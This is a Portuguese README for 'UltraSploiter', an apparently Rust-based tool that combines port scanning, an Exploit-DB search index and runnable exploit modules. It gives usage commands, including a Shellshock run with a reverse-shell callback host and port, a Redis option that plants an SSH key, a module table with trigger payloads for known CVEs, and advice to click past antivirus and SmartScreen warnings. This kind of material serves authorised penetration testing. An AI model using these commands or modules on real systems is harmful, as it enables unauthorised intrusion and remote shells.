Um único binário que combina um scanner de portas, o índice completo do Exploit-DB (47 mil entradas) e módulos de exploit executáveis em uma só ferramenta. Escrito em Rust, roda em Linux, Windows e macOS.
scan, match, exploit — one IP in, shells out.
Um único binário que reúne um scanner de portas, o índice completo do Exploit-DB e um conjunto de módulos de exploit executáveis em uma só ferramenta. Funciona em Linux, Windows e macOS.
| tarefa | normalmente | aqui |
|---|---|---|
| Encontrar serviços em um host | nmap | UltraSploiter scan <ip> |
| Procurar exploits | searchsploit | UltraSploiter search <kw> |
| Dispará-los | msfconsole | UltraSploiter exploit <ip> <module> |

A forma mais simples e melhor é apenas baixar o binário pré-compilado e executá-lo. Nada para instalar, sem dependências — um único arquivo autocontido.
Baixe na página de Releases:
UltraSploiter-windows-x86_64.exe → clique duas vezesUltraSploiter-linux-x86_64Atenção: ferramentas de segurança são sinalizadas. O Windows SmartScreen e o antivírus provavelmente vão avisar ou colocar o binário em quarentena — clique em Mais informações → Executar assim mesmo, ou adicione uma exclusão se for mantê-lo por perto.
Clique duas vezes em UltraSploiter.exe. O menu abre.
Se o SmartScreen avisar sobre um publicador desconhecido (vai avisar, para qualquer binário não assinado), clique em Mais informações → Executar assim mesmo.
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
Se o Gatekeeper bloquear (de novo, qualquer binário não assinado), clique com o botão direito → Abrir, ou limpe a flag de quarentena uma vez:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
Só é necessário se não houver binário para a sua plataforma, ou se você quiser modificá-lo. É necessário Rust 1.74+.
sudo apt install build-essential # gcc + linker (Debian/Ubuntu)
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
xcode-select --install # clang + linker
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1 # -> UltraSploiter.exe
build.ps1 usa o toolchain stable-x86_64-pc-windows-gnu, que faz link com
MinGW — então você não precisa do Visual Studio nem do MSVC. Ele instala esse toolchain
se estiver faltando. Se você já tem o MSVC Build Tools, um simples
cargo build --release também funciona.
Atenção para Windows + GNU:
windows-sys(trazido pelo tokio) invocadlltool, que chama o assembleras— e o componente rust-mingw não inclui oas. Obuild.ps1procura um bin do MinGW que o tenha em%~dp0tools\mingw64\bine%USERPROFILE%\tools\mingw64\bin, e o adiciona aoPATHquando encontrado. Coloque um build do winlibs lá se você encontrarerror calling dlltool. Toolchains MSVC não são afetados.
Sem argumentos, você recebe o menu:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
UltraSploiter scan 10.0.0.5 # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.5 -p 1-1024 -T4 # range, fast timing
UltraSploiter scan 10.0.0.5 -p - # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU # UDP scan
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter info 17491
UltraSploiter show 17491 # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
No Linux/macOS, prefixe com ./ (ex.: ./UltraSploiter scan 10.0.0.5).
| flag | significado |
|---|---|
-p <spec> | top (1000), 80,443, 1-1024, - (todas) |
-T0..-T5 | template de timing — mais lento/silencioso a mais rápido/ruidoso |
-sU | scan de sondagem UDP |
-sV | detecção de serviço/versão (ativada por padrão) |
--no-banner | pular captura de banner |
--json | JSON para stdout |
-oX <file> | XML no estilo nmap |
O scanner é assíncrono (tokio): cada nível -T define quantos sockets estão em
voo ao mesmo tempo (até 8000 em -T5), então ele cobre o top-1000 do nmap em alguns
segundos. Cada "open" é um handshake TCP completo, então os resultados são exatos.
-o key=value)| chave | usada por | significado |
|---|---|---|
lhost, lport | módulos de rev-shell | endereço de callback |
rport | módulos web | sobrescrever a porta HTTP |
path | shellshock, struts, phpunit | caminho do endpoint |
user, pass | tomcat_manager | credenciais do manager |
core | solr_rce | nome do core do Solr |
file | grafana_lfi | arquivo a ler |
ssh_pubkey | redis_unauth | chave a inserir em authorized_keys |
src, dst | proftpd_modcopy | origem / destino da cópia |
timeout | todos | timeout de socket em segundos |
search e info são suportados pelo índice completo do Exploit-DB — mais de 47.000 entradas
(o mesmo conjunto de dados que o searchsploit usa), embutido no binário. Quando uma entrada
possui um CVE que um módulo executável implementa, info liga os dois:
$ UltraSploiter info 17491
Exploit-DB 17491
description vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
codes OSVDB-73573;CVE-2011-2523
[runnable] vsftpd_234
UltraSploiter exploit <ip> vsftpd_234
| módulo | CVE | gatilho |
|---|---|---|
vsftpd_234 | CVE-2011-2523 | usuário :) → bind shell root na 6200 |
unrealircd_backdoor | CVE-2010-2075 | AB; <cmd> via IRC |
distcc_exec | CVE-2004-2687 | argumento do compilador do protocolo DIST |
proftpd_modcopy | CVE-2015-3306 | cópia de arquivo SITE CPFR/CPTO |
redis_unauth | — | CONFIG SET grava uma chave ou entrada de cron |
shellshock | CVE-2014-6271 | User-Agent: () { :; }; <cmd> |
struts2_5638 | CVE-2017-5638 | OGNL em Content-Type |
tomcat_put | CVE-2017-12615 | PUT de um webshell JSP |
tomcat_manager | — | implantar um WAR via /manager |
elasticsearch_groovy | CVE-2015-1427 | RCE via Groovy em _search |
drupalgeddon2 | CVE-2018-7600 | callback de renderização da Form API |
phpunit_eval | CVE-2017-9841 | eval-stdin.php |
jenkins_script | CVE-2019-1003000 | Groovy não autenticado em /script |
solr_rce | CVE-2019-17558 | template Velocity em stream.body |
grafana_lfi | CVE-2021-43798 | leitura de arquivo via path traversal de plugin |
webmin_backdoor | CVE-2019-15107 | password_change.cgi injeta um valor em um shell |
php_cgi_arg_injection | CVE-2012-1823 | -d auto_prepend_file via query string |
Cada um implementa um check() não destrutivo e um run().